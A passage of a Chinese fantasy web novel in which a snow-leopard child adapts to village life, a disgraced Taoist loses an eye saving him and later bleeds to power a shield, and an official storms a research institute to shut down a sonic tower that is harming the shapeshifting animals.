他用力一戳,一块肉没夹住,反而把碗戳翻了,汤汁和米饭洒了一桌子,还溅了旁边正在优雅喝汤的汉堡一脸。
“喵嗷!”汉堡瞬间炸毛,漂亮的脸上沾满了米粒和油渍,气急败坏地跳起来,“傻豹子!我刚洗干净的毛……呃,脸!”
石崽被吓了一跳,看着汉堡生气的样子,又看看桌上的狼藉,小嘴一扁,眼睛里迅速蓄满了泪水,眼看就要哭出来。
他下意识地就想往桌子底下钻,仿佛自己还是只小雪豹。
趴在桌下的可乐赶紧伸出大舌头,安慰地舔了舔石崽的小腿,喉咙里安抚地呜咽:“汪呜~汪呜~”
本意是想告诉他汉堡不会真的生气,可奈何身为人的石崽现在听不懂他的狗语。
石崽抱着可乐胖乎乎的身体寻求安慰,委屈巴巴地躲在桌子下面不肯出来。
最后还是陈开心和云朵好一阵哄,才把他劝出来,改用勺子,然而用勺子对石崽来说也是挑战,他常常把食物舀得飞出去,一顿饭吃得像打仗,满地狼藉。
石崽还非常不习惯穿衣服,云朵给他做的粗布小褂和裤子,他总是觉得束缚,扭来扭去,趁人不注意就想脱掉,光着屁股在吊脚楼里跑来跑去,或者爬到高处趴着,像只巡视领地的小豹子。
“崽崽!快下来把衣服穿好!”云朵又急又气。
石崽在高处歪着头看她:“热……难受……”
他只会说一些简单的词语。
云朵无奈,不得不让可乐再次出场。
它拖着伤腿,努力站起来,对着高处的石崽叫了两声:“汪汪!汪汪汪!”
可乐努力昂起头,展示自己虽然有点脏但依旧蓬松的毛发,仿佛那是件漂亮的毛皮大衣。
石崽看看可乐,又看看自己光溜溜的胳膊,似乎有点明白了。
他犹豫了一下,慢慢爬下来,让云朵给他把衣服穿好,但他还是很不舒服,总想用小手去扯领口。
可乐只好寸步不离地跟在他旁边,时不时用鼻子拱拱他的衣服提醒他。
而最大的问题则是石崽完全没有厕所的概念,他遵循着雪豹的本能,会找个安静的,有松软泥土或者落叶的角落,蹲下去就解决。
第一次他直接在阿木家菜地旁边解决了,被阿木的奶奶发现,又好气又好笑。
陈开心教石崽怎么用人类的厕所,可是石崽还是个连话都说不好的小孩,比当初教汉堡他们费劲得多。
教来教去,他选择在树底下刨坑,解决完后伸出小手去扒拉旁边的土想盖住,但他那点力气,只能象征性地盖住一点点。
可乐无奈地叹气,像个操碎心的老父亲,等石崽走开后,自己再费力地用爪子把坑填平。
久而久之,寨民们都知道,那棵树成了石崽的专用“厕所”,只要石崽跑去上“厕所”,旁边必有可乐在尽职尽责地埋土。
这天下午,阳光正好,石崽骑在可乐背上,在寨子边缘溜达。
可乐的伤腿基本痊愈了,步伐稳健了许多。
石崽银白的短发在阳光下闪闪发光,好奇地四处张望着。
突然,他耳朵敏锐地动了动,捕捉到了林间传来的音乐声,眼睛也看到了在树叶缝隙间闪烁的七彩光芒。
“亮!响!”石崽兴奋地指着林子的方向,小手拍打着可乐的脖子,“去!去!”
可乐也听到了看到了,但它本能地感到一丝不安,那片林子超出了寨子日常活动的安全范围。
它停下脚步,喉咙里发出低沉的警告:“呜……汪汪!”
但石崽的好奇心已经被彻底点燃,他挣扎着要从可乐背上下来:“去!亮!要!”
他指着那个方向,小脸上写满了渴望。
可乐焦急地围着他打转,试图用身体挡住他的去路:“汪汪汪!汪汪!”
一人一狗,语言不通,僵持不下。
石崽看着那不断闪烁的光芒和传来的音乐,心痒难耐。
他趁可乐一个不注意,像只灵巧的小豹子,猛地从它身边窜了出去,朝着林间空地飞快地跑去。
“汪!汪汪汪!”可乐大惊失色,顾不上腿伤刚愈,立刻拔腿狂追。
七彩光来自草丛中的一个玩具球,就在石崽的小手即将触碰到玩具球时,轻微的破空声响起,几支带着强力麻醉剂的飞镖从不同方向射向石崽。
满心欢喜的石崽对自己身处的险境一无所知,可乐怒吼一声,爆发出惊人的速度,庞大的身躯一跃而起,用身体挡在了石崽身前。
“噗嗤!”两支麻醉镖扎进可乐的肩胛和侧腹,可乐重重摔倒在地,发出一声痛苦的呜咽。
“可乐!”石崽吓坏了,看着倒在地上的大狗,眼神里充满了恐惧。
与此同时,几个穿着迷彩服,脸上涂着油彩的动研所队员如鬼魅般从林中蹿出,手持捕捉网和电击棍,直扑石崽!
“汪汪汪!”可乐目眦欲裂,挣扎着想站起来,但麻醉剂的效力让它四肢发软,意识开始模糊。
石崽看着逼近的坏人,又看看倒地的可乐,吓得浑身僵硬,忘记了逃跑,只会发出惊恐的尖叫:“妈妈!”
千钧一发之际,一道身影像
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愤怒的鹞鹰,从侧方的灌木丛中突然扑出。
“卫平亮!你个畜生!”范司杞左手握着他那柄廉价的桃木剑,剑指人群后方压阵的卫平亮。
他没有法器,但剑术的底子还在,桃木剑在他手中化作一道疾风,精准地刺向冲在最前面的一个队员的手腕。
“啊!”那队员惨叫一声,电击棍脱手飞出。
范司杞动作不停,剑势一转,又直刺向另一个队员张开捕捉网的手臂,同时飞起一脚,将第三个队员踹开。
他的出现打乱了抓捕小队的阵脚,但也将自己彻底暴露在枪口之下。
“范司杞,是你先背叛我的!”
卫平亮站在一棵树后,眼神阴鸷,手中赫然端着一把造型奇特的麻醉枪,枪口正对准了石崽。
“汪!”可乐用尽最后的力气发出警告。
范司杞闻声回头,瞳孔骤缩。
“砰!”沉闷的枪声响起。
范司杞向侧面翻滚,一把将石崽护在怀里,但距离太近了,他只觉左眼一阵无法形容的剧痛传来,仿佛眼球被烧红的烙铁狠狠捅穿,温热的液体登时糊满了他的左半边脸。
“啊——!”范司杞发出一声凄厉的惨嚎,捂住了鲜血淋漓的左眼,身体踉跄着几乎摔倒,天旋地转。
“滚开!”他对着再次逼近的队员嘶吼,挥舞着沾血的桃木剑,状若疯虎。
远处,寨子方向隐约传来骚动。
卫平亮看着范司杞满脸是血的样子,又看了看倒地抽搐的可乐,知道事不可为,再拖下去动保局的人就要到了。
捕杀石崽事小,他毕竟本质上还是个动物,但范司杞是切切实实的人类,伤了人,传出去对动研所的影响就不好了。
“撤!”他恨恨地一挥手,带着抓捕小队迅速消失在密林深处。
可乐身中两枚强力麻醉镖,已经彻底昏死过去,庞大的身躯一动不动。
范司杞抱着瑟瑟发抖的石崽,左眼血流如注,眼前阵阵发黑,站立不稳。
他强撑着最后一丝清明,踉踉跄跄,一步一个血脚印,抱着石崽,朝着寨门的方向拼命奔去。
当寨门在望,看到闻声赶来的陈开心等人时,范司杞紧绷的神经终于松懈下来。
他眼前一黑,抱着石崽,径直摔在寨门前的黑石地上,溅起一片尘土。
“石崽!”云朵凄厉地哭喊着扑上来,从范司杞怀里抢过吓坏了的儿子,死死抱住。
所有人都被眼前的景象惊呆了。
“快救人!抬进去!”孙栋反应最快,立刻指挥队员和寨民。
陈开心看着血泊中的范司杞,看着他即使在昏迷中,还死死抓着那柄桃木剑,看着云朵怀中安然无恙的石崽。
他蹲下身,和孙栋一起小心地将范司杞架了起来。
看着对方不断渗出鲜血的左眼,陈开心眼眶微红,心里终于为这个人有了一丝动容:“把他抬到我那里去吧。”
51.何为妖物
寨子里的老药师被火急火燎地请来了,他是寨子里唯一懂点处理外伤的人。
可乐身上的麻醉镖被小心取出,它体质强健,加上麻醉剂剂量主要是针对小型目标的,虽然昏迷,但呼吸还算平稳。
老药师给它敷上了最好的止血消炎草药,让它静养。
范司杞的情况则严重得多。
老药师仔细检查了他的左眼,沉重地摇了摇头:“眼珠子被那歹毒的东西打烂了,保不住了,万幸没伤到脑子。伤口太大,流血太多,我只能尽力给他止血包扎,能不能熬过去,看山神保佑和他自己的造化了。”
老药师用烧酒消毒,撒上寨子里秘传的强效金疮药粉,再用干净的布条包扎好范司杞的左眼。
剧烈的疼痛让昏迷中的范司杞也忍不住发出痛苦的呻吟。
陈开心默许他留在自己的吊脚楼里,可乐则被安置在另一处安静的地方休养。
云朵对范司杞救了石崽而心怀感激,主动承担了大部分的照料工作,煎药、喂水、换药。
石崽虽然害怕范司杞满脸纱布的样子,但知道是他救了自己,也会怯生生地躲在妈妈身后,偷偷看他。
接下来的几天,范司杞一直在生死边缘徘徊。
高烧像跗骨之蛆,日夜啃噬着他,伤口感染引发了凶险的鬼门烧,他的体温时而在滚烫的炭火中炙烤,时而又跌入冰窖般的寒冷深渊。
汗水浸透了身下的草席,很快又被体温烤干,留下一圈圈白色的盐渍。
意识在混沌的泥沼中沉浮,他双手在空中胡乱抓挠,仿佛在与无形的恶鬼搏斗,嘴里喃喃低语:“”师父……慧明……眼……我的天眼……孽障……我是孽障……”
那些扭曲的执念,那些无穷尽的悔恨,在高烧的熔炉里翻滚着,化为最恐怖的梦魇,将他一点点淹没。
陈开心默默地看着这一切。
最初,陈开心提醒自己不要忘记范司杞曾带来的威胁,这个之前想伤害他们的道士,他的痛苦是否值得同情?他的忏悔又有几分真心?
可看着那个曾经阴鸷强悍的男人,如今像一片枯叶般在生死线上飘摇,听着他高烧中那些忏悔绝望的话语,陈开心冰冷的心又一点点动摇了。
或许是石坎长老向山神虔诚的祈祷起了作用,或许是范司杞赎罪的意志足够顽强,也或许是云朵精心的照料和老药师的草药发挥了奇效,在鬼门关徘徊了数日后,范司杞的高烧终于退了,伤口也停止了恶化,生命体征逐渐稳定下来。
当他第一次真正清醒过来,虚弱地睁开仅存的右眼时,世界在他眼中彻底变了模样。
不再是色彩斑斓,不再是纤毫毕现。
他努力看向床边的云朵,看向她关切的脸,却只看到一片模糊的轮廓。
他不甘心地转动眼珠,望向吊脚楼那小小的窗口。
窗外正是晌午,阳光本该灿烂刺眼,然而他看着窗外透进来的阳光,那光线不再刺眼,反而显得浑浊黯淡。
整个世界仿佛被蒙上了一层厚厚的灰黑色毛玻璃,失去了所有光彩,只剩下大块大块深浅不一的灰暗色块。
他的天眼,那曾让他引以为傲,能辨识异类的天赋,连同他被麻醉弹打烂的左眼一起,永远地失去了,甚至连普通人的视力都远远不如。
他下意识地抬手,想去触摸被纱布包裹的左眼,却被云朵轻轻按住:“别动,伤口还没好。”
范司杞的手僵在半空,仅存的右眼茫然地转动着,试图在模糊的世界里找到焦点,最终徒劳地垂下。
他沉默了很久,久到云朵以为他又昏睡过去时,才听到他沙哑的声音响起,整个人透着股认命般的平静。
“这样也好,这样……也好……”
他没有歇斯底里,没有怨天尤人,心里反而有种奇异的释然,仿佛失明不是剥夺了他的天眼,而是解脱了他。
瞎了,反而清净了。
接下来的日子,范司杞变得异常沉默,他不再提赎罪,只是安静地养伤。
当伤口拆线能勉强下床活动后,他找老药师要了一小块质地坚硬,纹理细腻的乌沉木和一把小刻刀。
他坐在吊脚楼门口的阳光里,手指细细摸索,专注地雕刻着那块小小的木牌。
他的动作很慢,很笨拙,刻刀常常划伤手指,鲜血染红了木屑,但范司杞毫不在意,仿佛疼痛也是一种修行。
木牌的形状渐渐清晰,上面刻着四个古朴而用力的大字:众生当渡。
这四个字,耗尽了他残存的体力,也仿佛耗尽了他前半生所有的戾气。
.
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深夜,万籁俱寂。
陈开心安顿好可乐,回到吊脚楼,看到范司杞还佝偻着身体,在微弱的油灯下,小心翼翼地刻那块木牌。
昏黄的灯光下,范司杞侧脸显得格外瘦削,那只左眼被纱布覆盖着,完好的右眼好像也跟着失去了往日的疯狂。
陈开心的心头被什么东西重重撞了一下。
他默默走过去,坐在范司杞对面的矮凳上,拿起旁边温在火塘边的陶壶,倒了一碗热水,轻轻推到他手边。
范司杞刻刀的动作顿了顿,仅存的右眼转向陈开心的方向,虽然依旧模糊,但他能感受到对方的靠近和善意。
“刻什么呢?”陈开心率先打破沉默。
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范司杞拿起那块已经基本成型的木牌,粗糙的指腹缓缓抚过上面深刻的字痕,每一个笔画都仿佛刻在他的心上。
“众生当渡。”他喃喃地念着,嗓音沙哑却出奇的平和,“以前总觉得自己有双天眼,比别人看得清,看得透。看山不是山,看水不是水,看人也总要分出个三六九等。是人是妖,是善是恶,非黑即白。满脑子想的就是替天行道,清除妖物,还世间一个朗朗乾坤。”
他的嘴角扯出一丝苦涩的微笑,那笑容比哭更令人心酸。
“结果呢?心瞎了,眼也差点跟着瞎了。我才是那个最大的妖物,那个被执念蒙蔽了双眼,造下无边杀孽的魔障。”
他顿了顿,手里无意识地摩挲着木牌:“直到石崽把那块土豆递给我,直到这只眼睛被卫平亮打瞎,在这片漆黑里,我才好像第一次真正地看清了。”
“看清了什么?”陈开心不解,追问。
“看清了……何为妖物。”
范司杞抬起头,那只模糊的右眼仿佛穿透了陈开心,看向更远的地方,又仿佛只是在凝视眼前的黑暗。
“妖物不是指皮相,而是指本心。非人之形,亦可怀揣赤子真心,如可乐,如石崽,如你所守护的那些伙伴。而人皮之下,亦可包裹着比妖魔更甚的贪婪、残忍、偏执和疯狂,如我范司杞,如卫平亮之流。”
油灯的火苗不安地跳跃着,光影在范司杞脸上明明灭灭,他模糊的右眼中映出一点微弱的光亮,宛如里面点燃了一盏永不熄灭的心灯。
陈开心久久无言。
他看着眼前这个失明落魄,几乎失去了一切,却又在精神上脱胎换骨般的男人,心中前所未有地产生了一丝悲悯。
他拿起范司杞手边那碗放凉的清水,仰起头,一饮而尽。
水流滑过喉咙,却浇不灭他心头的灼热。
他再次拿起陶壶将空碗注满水,然后郑重地推到范司杞面前。
“喝口水吧。”陈开心语气沉重,安慰的话却不知从何说起,只能默默叹了口气,“路还长着呢。”
范司杞身体一震,听懂了他藏在言语里的原谅之意,伸出颤抖的双手,小心翼翼地捧起面前温热的粗陶碗。
……
粗糙的陶壁传来的暖意,从范司杞的指尖蔓延开来,顺着血脉,一点点渗透进他麻木的心田。
他低下头,仅存的右眼努力地想要看清碗中那清澈的水面,然而视线却越来越模糊,越来越朦胧。
一滴滚烫的液体,毫无征兆地挣脱了他眼眶的束缚,垂直坠落。
“嗒。”
它轻轻地滴落在平静的水面上,荡开一圈小小的涟漪。
52.又被袭击了
范司杞那滴滚烫的泪落入碗中,涟漪尚未散尽,一阵的恐怖嗡鸣突然响起,划破黑石寨宁静的夜空。
嗡——嗡——
那声音仿佛从四面八方而来,在每个人的颅骨内部震动,令人心悸喘不过气,快要窒息。
“喵喵呜!”最先发出惨叫的是汉堡。
他原本正躺在门外的长凳上打盹,此刻却猛地弹跳起来,痛苦地甩着头颅,发出凄厉的哀嚎。
虽然是人身,他却用四肢疯狂地刨抓着地面,指甲在竹木地板上刮出刺耳的声响,仿佛要将自己从某种无法忍受的痛苦中剥夺出来。
“汉堡!”陈开心吓得魂飞魄散,心脏快要从嗓子眼里跳出来,他一个箭步扑过去,双臂张开,想要将汉堡紧紧抱住。
可下一秒,一大口鲜血从汉堡的口中喷出,溅了陈开心一脸。
温热的液体模糊了陈开心的视线,汉堡身体剧烈抽搐了几下,发出一声微弱的呜咽,而后轰然倒下,彻底失去了意识,只有嘴角还在不断溢出血沫。
“汉堡!”陈开心绝望地嘶吼,他颤抖着扑到汉堡身边,徒劳地按压它的胸口,感受着它越来越慢的心跳。
同一时间,整个寨子炸开了锅。
可乐在隔壁的休养处疯狂地撞击着围栏,伤口再次崩裂,鲜血染红了纱布。
包子发出厉叫,弓着背,在屋顶上疯狂乱窜,撞翻了瓦片。
雪碧撕了衣服,在泥土里来回打滚,用嘴巴拱着菜地。
石岩仰天怒吼,如离弦之箭般撞向吊脚楼的竹墙,头破血流也不停止。
云朵双眼赤红,将同样挣扎的石崽死死护在身后,但她的身体也在剧烈颤抖,牙齿咯咯作响,仿佛在拼命对抗着侵入骨髓的指令。
石崽吓得哇哇大哭,小小的身体蜷缩在妈妈怀里,却被妈妈此刻充满攻击性的气息吓得瑟瑟发抖。
寨子里其他动物们,也无一幸免地突然陷入集体的狂暴中,鸡飞狗跳,牛羊冲撞,宁静的黑石寨仿佛变成了一个恐怖的地狱。
“山神震怒!是山神震怒啊!”有寨民惊恐地跪倒在地,朝着山神庙的方向疯狂磕头。
“是那声音!那鬼声音!”石坎长老在阿依的搀扶下冲出屋子,浑浊的老眼望向远方城市的方向,脸色铁青,须发皆张,“是他们!他们启动了‘那东西’!他们要毁了这一切!”
陈开心突然想到那次在公园被流浪狗围攻的画面,也是像这样集体发狂。
“孙栋!孙栋在哪里?!”他声嘶力竭地呼喊,在混乱的人群中搜寻孙栋的身影。
孙栋是动保所的人员,他或许能知道什么,他或许有办法!
“我在这儿!”孙栋脸色惨白如纸,从人群中挤出来,他显然也受到了声波冲击的影响,太阳穴突突直跳,强忍着不适,“是声波塔最高频率的驯化波段!不,这根本不是驯化,这是灭绝波段!”
他咬牙切齿,眼中燃烧着愤怒的火焰:“他们疯了!一定是卫平亮绕过常规程序启动了最高权限!”
“去动研所,控制室一定有办法关闭或者干扰它!快!”陈开心几乎是吼出来的,整个人都压抑不住地颤抖。
他不能离开,汉堡生死未卜,可乐和其他伙伴都在这里,他必须守住这里,孙栋是唯一能打入内部的人选。
“好!我马上去!”孙栋没有丝毫犹豫,他知道每一秒都关乎生死。
他留下两个队员帮陈开心维持局面,看了一眼痛苦挣扎的动物们,转身领着其他队员冲出寨门,身影迅速消失在黑暗的山路上。
老药师和寨民们手忙脚乱地试图安抚发狂的动物,但收效甚微,那持续不断的低频嗡鸣不断侵蚀着他们的神智。
陈开心紧紧抱着昏迷不醒的汉堡,感受着它愈渐愈弱的呼吸,心如刀绞。
他看向角落里的范司杞,范司杞的状态同样诡异。
那声波显然也影响到了他,他仅存的右眼瞳孔收缩,布满血丝,额头上青筋暴起,身体因抵抗那无形的压力而瘫软在地。
但他并没有像其他动物那样陷入狂暴,他抬起头,那只模糊的右眼似乎穿透了吊脚楼的屋顶,死死盯着声波传来的方向。
“他们要赶尽杀绝……”范司杞嗓音低哑,眸光决绝,站起身,踉踉跄跄地朝他睡觉的床铺走去。
他在一堆杂物中摸索着,摸出一个罗盘状的法器,然后抽出了那柄陪伴他无数个岁月的桃木短剑。
剑身古朴,雷纹隐隐,曾经是他“替天行道”的象征,此刻握在他染血的手里,却透着一股悲壮的宿命感。
“范司杞!你要干什么?!”陈开心看着他抽出桃木剑,心中一紧。
范司杞没有回答,他左手握住了桃木剑的剑柄,右手扯开了自己左肩上的衣襟,露出了精瘦却布满新旧伤痕的手臂。
下一秒,在陈开心惊骇的目光中,范司杞扬起那柄浸染过无数“妖邪”之血的桃木剑,寒光一闪,剑刃割开了他左臂内侧的血管!
“呃!”一声压抑的痛哼从范司杞喉咙里挤出,但他握剑的手稳如磐石。
暗红色的鲜血汩汩地流出,那血的颜色似乎比常人的更深,在昏暗的光线下隐隐透着一丝微弱的灵光。
范司杞脸色惨白如纸,但他咬着牙,硬生生挺住了。
他没有去止血,反而将流淌着鲜血的手臂高高举起,任由他的鲜血淋漓地洒落在罗盘法器上。
法器发出金色光芒,以它为中心,轰然扩散开来,这股力场并非要去对抗声波,而是在每一个被声波侵噬的生物周围,形成了一层坚韧无比的金色屏障。
嗡鸣声立刻被隔绝在外。
整个寨子的混乱仿佛被按下了暂停键,那些发狂的动物们纷纷安静下来,茫然地站在原地,大口喘息,好像刚从一场噩梦中惊醒。
陈开心同样震撼得无以复加,他看着范司杞那鲜血淋漓的手臂,看着那些在法器上流转的金色符文光芒。
他明白了!
范司杞在用他的血强行激发法器的能量,他这是在用自己的命赎罪!
“范司杞!”陈开心嘶声喊道,放下汉堡就要冲过去扶住他。
然而范司杞的身体已经到了极限,大量的失血让他眼前彻底陷入一片漆黑。
他晃了晃,再也支撑不住。
“哐当!”桃木短剑从他无力的手中滑落,掉在地上。
他直挺挺地向后倒去,在意识沉入黑暗的前一秒,他惨白的脸上竟然浮现出一丝释然的微笑。
他用尽最后一丝气力,朝着陈开心方向,发出一声听不见的呓语。
“此身……此血……终得其所……护……护住他们……”
话音未落,他已重重地倒在地面上,身下迅速晕开一片刺目的暗红。
那流淌的鲜血,有
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几滴恰好滴落在矮桌上的乌沉木牌上。
众生当渡。
四个古朴的大字,在油灯渺小的光芒和鲜血的浸润下,显得格外悲怆。
陈开心冲到范司杞身边,跪倒在地,颤抖着手去探他的鼻息,感受到还存在的气息时,心中猛然松了口气。
他和范司杞的隔阂在这一刻终于化为灰烬,路还很长,但有些人已经用鲜血点燃了最黑暗路上的第一盏灯。
.
.
.
孙栋带着几名精锐队员,如同一道黑色闪电,开着吉普在崎岖陡峭的山路上狂奔。
“头儿,信号干扰在增强,我们进入动研所外围警戒区了。” 一名负责电子侦测的队员喊道,手中的便携式设备闪烁着红色警报。
“预料之中,卫平亮这疯子肯定启动了最高防御。” 孙栋眼神冰冷,没有丝毫停顿,“老赵,强突路线!”
“是!” 老赵迅速展开一张电子平板,手指在屏幕上飞快滑动,“走维修通道,那里防御等级相对低,但结构复杂,需要精确爆破!”
“精确就精确!动作要快,我们没有时间了!” 孙栋低吼。
一行人迅速偏离主路,下车钻入一片茂密的防护林。
几分钟后,他们来到动研所后方一处不起眼的金属大门前,这里远离主入口,监控探头相对稀疏。
“爆破组,三秒延时!破门后,老赵、阿明跟我突入,小刘断后警戒,目标主控中心,遇阻……非致命武力压制,但必要时无需留手,以最快速度抵达为第一优先级!”
孙栋的命令斩钉截铁,带着前所未有的肃杀之气。队员们眼神一凛,无声点头,迅速展开行动。
嗤嗤,轻微的导火索燃烧声。
特制的破门炸药瞬间将厚重的金属门锁连同铰链一起摧毁,硝烟弥漫中,孙栋第一个冲了进去。
门内是一条弥漫着机油和灰尘气味的维修通道,动研所的警报声骤然响起,红色警灯在通道顶部疯狂地旋转闪烁。
“有入侵者!C区维修通道!重复,C区维修通道!安保小队立即前往拦截!” 冰冷的电子合成音在通道内回荡。
“冲!” 孙栋根本不予理会,一马当先向前猛冲。
老赵和阿明紧随其后,手中的非致命电.击枪和强光弹已经准备就绪。
没跑出多远,前方拐角就冲出来四名全副武装,手持防暴盾牌和电棍的安保人员。
“站住!动研所重地,擅闯者……” 领头的安保厉声喝止。
“滚开!” 孙栋根本没等他说完,在高速奔跑中,扬手就是一发强光弹精准地投掷过去。
刺目的白光让四名安保人员猝不及防,惨叫着捂住眼睛,顿时失去了战斗力,瘫倒在地。
孙栋一行人没有丝毫停留,直接从他们身边掠过,朝着通道深处狂奔。身后,断后的小刘迅速布下几枚小型干扰器,延缓追兵。
维修通道错综复杂,如同迷宫,但老赵的方向感极强,他手中的电子平板连接着动研所公开的基建蓝图,指引着他们以最快的路径穿行。
沿途又遭遇了两波安保拦截,都被孙栋他们以雷霆手段迅速解决,时间就是生命,他们不敢有丝毫耽搁。
七分钟后,他们终于冲出了维修通道的尽头,一脚踹开一扇虚掩的防火门。
眼前顿时豁然开朗。
53.逮捕卫平亮
充满未来科技感的动研所主控中心,展现在他们面前,巨大的环形屏幕墙占据了大半个视野,上面正滚动着复杂的数据流。
数十名穿着白大褂的技术人员坐在各自的终端前,忙碌而紧张,空气中弥漫着一种扭曲兴奋的诡异气氛。
而在环形控制台的正中央,那个如同指挥王座般的位置上,一个穿着笔挺白大褂,头发梳得一丝不苟的身影,正背对着他们,双臂张开,仿佛在拥抱那巨大的屏幕,陶醉于那毁灭性的力量。
“卫平亮!!!” 孙栋的怒吼瞬间压过了主控中心内所有设备的嗡鸣。
所有技术人员惊愕地转头,看向这群浑身带着硝烟和煞气的不速之客。
卫平亮身体一僵,缓缓转过身。当他看清是孙栋时,镜片后的眼睛闪过一丝惊讶,随即被浓重的厌恶所取代。
“孙栋?谁给你的胆子,敢带人硬闯动研所核心重地?还带着武器?你们动保所什么时候变成土匪窝了?”
他慢条斯理地整理了一下自己的袖口,姿态傲慢。
“少他妈给我装蒜!” 孙栋大步流星地冲上前,双目喷火,手指着那屏幕上刺目的猩红波段,“立刻给我关掉声波塔!关掉那个灭绝人性的鬼东西!”
卫平亮嗤笑一声,仿佛听到了天大的笑话:“关掉?凭什么?孙处长,请注意你的身份和言辞!这是经过最高授权的程序,是为了人类未来的伟大研究。这是科学!是必要的牺牲!”
“放屁!” 孙栋彻底暴怒了,他一拳砸在卫平亮面前的金属控制台上,发出“哐”的一声巨响,震得上面的仪器嗡嗡作响。
“狗屁的最高授权!卫平亮,你他妈就是违规操作!你绕过了所有安全委员会审查,你擅自启动了最高权限的灭绝波段!你在进行一场赤裸裸的大屠杀!黑石寨那边已经血流成河了!你知不知道?!”
“黑石寨?” 卫平亮眼中闪过一丝不易察觉的阴鸷,随即又恢复冷漠,“哦,那些顽固不化的原始人和他们庇护的异类?为了大局,必要的清理在所难免。孙栋,你太感情用事了,被那些披着人皮的怪物迷惑了双眼,它们的存在本身就是对科学伦理和人类安全的巨大挑战,我的行动是在为人类清除隐患!”
“清除隐患?” 孙栋气得浑身发抖,他揪住卫平亮的白大褂领子,将他整个人提了起来,两人脸对着脸,鼻尖几乎相碰。
“你听听你自己说的话,你才是最大的隐患,你才是那个被权力和疯狂吞噬的怪物,你根本不配提科学!你是在亵渎生命!”
“放开卫主任!” 周围的安保人员终于反应过来,纷纷拔枪指向孙栋和他的队员。
“都别动!” 孙栋的队员也立刻举枪对峙,老赵和阿明迅速占据了有利位置。
孙栋死死盯着卫平亮那双疯狂的眼睛,一字一句地说道:“卫平亮,我以城市联合安全委员会特派监察员的身份命令你,立刻终止非法启动的声波塔程序!否则我将以反人类罪,非法使用大规模杀伤性武器罪,当场逮捕你,后果你承担不起!”
卫平亮看到那个电子证件,瞳孔倏地一缩,他显然没料到孙栋竟然还有这一层隐藏身份。
“你……” 卫平亮脸色终于变了,闪过一丝慌乱。
“关掉它!现在!!” 孙栋的怒吼仿佛最后的通牒,震得卫平亮耳膜发麻。他揪着卫平亮领子的手如同铁钳,力量大得要捏碎他的锁骨。
卫平亮的脸由白转青,再由青转红。他感受到了孙栋身上那股不惜一切代价,同归于尽的决绝气势。
他知道,这个平时看起来温和的动保处长,此刻是真的会说到做到,那个隐藏身份给了他绝对的执法权。
在无数双眼睛的注视下,卫平亮艰难地咽了口唾沫,眼中充满了不甘,但他知道,硬抗下去,自己将万劫不复。
“哼。” 他最终从牙缝里挤出一个怨恨的音节,颤抖着伸出手指,在面前的主控台上飞快地输入了一长串复杂的指令,然后按下了那个标注着“紧急终止”的按钮。
“嗡——”
屏幕上,那条代表灭绝波段的猩红曲线,像是被拦腰斩断的毒蛇,数值从令人胆寒的峰值,断崖式暴跌至零点。
主控中心内那令人心悸的低频嗡鸣声,像是被掐住了脖子的野兽,发出一声长长的哀鸣,然后彻底消失了。
整个世界陷入了死寂,只有设备散热风扇的低沉嗡鸣和人们粗重的喘息声,证明时间还在流动。
成功了!声波塔被强制关停了!
孙栋揪着卫平亮领子的手一松,整个人虚脱般晃了一下,后背被冷汗浸透。
他成功了!黑石寨的伙伴们……暂时安全了!
他迅速对着通讯器:“黑石寨!黑石寨!这里是孙栋!声波塔已强制关停!重复!声波塔已强制关停!你们那边情况如何?收到请回答!陈开心收到请回答!”
他急切的声音在主控中心死寂的空气中回荡,通讯器里沙沙的电流噪音,仿佛回应着他内心的焦灼,每一秒的沉默都像重锤敲击在孙栋的心上。
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黑石寨,吊脚楼。
陈开心跪在范司杞身边,指尖刚刚感受到那丝顽强存在的鼻息。就在这一刻,他清晰地感觉到怀里汉堡的身体一松,胸膛开始有了更规律的起伏,虽然缓慢,生命却有慢慢回归的迹象,嘴角溢出的血沫也似乎停止了增加。
“汉堡?” 陈开心难以置信地低下头,嗓音颤抖。
仿佛是回应他的呼唤,汉堡的睫毛轻微地颤动了一下,喉咙里发出一声微弱呻吟。
“呼……” 陈开心长长呼出一口气,悬在嗓子眼的心脏终于落回胸腔一部分。
他小心翼翼地调整了一下汉堡的位置,确保他能顺畅呼吸。
另一边,被云朵紧紧护在怀里的石崽,哭声也渐渐小了下去。
小家伙似乎终于耗尽了力气,也可能是那恐怖的压迫感消失后带来的疲惫,他抽噎着,小脑袋一歪,在妈妈温暖的怀抱里沉沉地睡了过去,眼角还挂着未干的泪珠。
云朵眼中的赤红早已褪尽,此刻只剩下无尽的疲惫和一种虚脱般的平静。
她抱着熟睡的孩子,目光却牢牢锁定在倒地的范司杞身上,眼神复杂无比。
可乐停止了撞击,它庞大的身躯瘫软在围栏边,巨大的头颅耷拉着,发出疲惫的喘息,但眼神已经恢复了一丝茫然,它努力地转动眼珠,寻找着陈开心的方向。
屋顶上的包子被寨民小心地抱了下来,放在铺着软草的地上里,他蜷缩着小小的身体,呼吸均匀,陷入了深度睡眠。
石岩安静地栖息在梁柱上,锐利的眼神警惕地扫视着下方,但那份狂暴的戾气已经消失,取而代之的是守护者的冷静。
整个寨子,从炼狱般的疯狂中骤然回归到一种劫后余生的宁静,只有伤者的呻吟提醒着人们刚刚经历了一场怎样的浩劫。
陈开心不敢有丝毫耽搁,他迅速撕下自己干净的衣襟内衬,死死压住范司杞左臂内侧那恐怖的伤口。
暗红色的血液在渗出,但流速好像比刚才减缓了一些。触手所及,范司杞的手臂冰冷得吓人,脉搏微弱得快要难以捕捉。
“老药师!快!快救他!” 陈开心朝着门外嘶声喊道。
一直在门外指挥寨民安抚其他动物的老药师闻声立刻冲了进来,看到范司杞身下那一片刺目的血泊和惨白如纸的脸,老药师倒吸一口冷气,布满皱纹的脸上满是凝重。
“把他抬到平整的地方!轻点!” 老药师迅速指挥旁边的寨民。
几个壮实的汉子小心翼翼地将范司杞沉重的身躯抬起,平放在相对干净的地面上。
老药师蹲下身,动作麻利地解开范司杞手臂上的布条,当那皮肉翻卷的伤口暴露在灯光下时,饶是老药师见多识广,也忍不住手抖了一下。
他迅速打开药箱,取出珍藏的“续命散”金疮药,厚厚地撒在那可怕的伤口上。
“按住!用力按住这里!” 老药师指着伤口上方一点的位置,让陈开心用干净的布条死死压住血管近心端止血。
他自己则拿出煮过的针和特制的羊肠线,枯瘦的手指此刻却异常稳定,开始进行紧急的缝合。
陈开心死死压着布条,感受着布条下几乎随时会停止的脉搏跳动。
他看着老药师凝重的侧脸,看着范司杞毫无生气的惨白面容,看着那不断被鲜血染红的布条……
时间仿佛被拉长了,每一秒都无比煎熬。
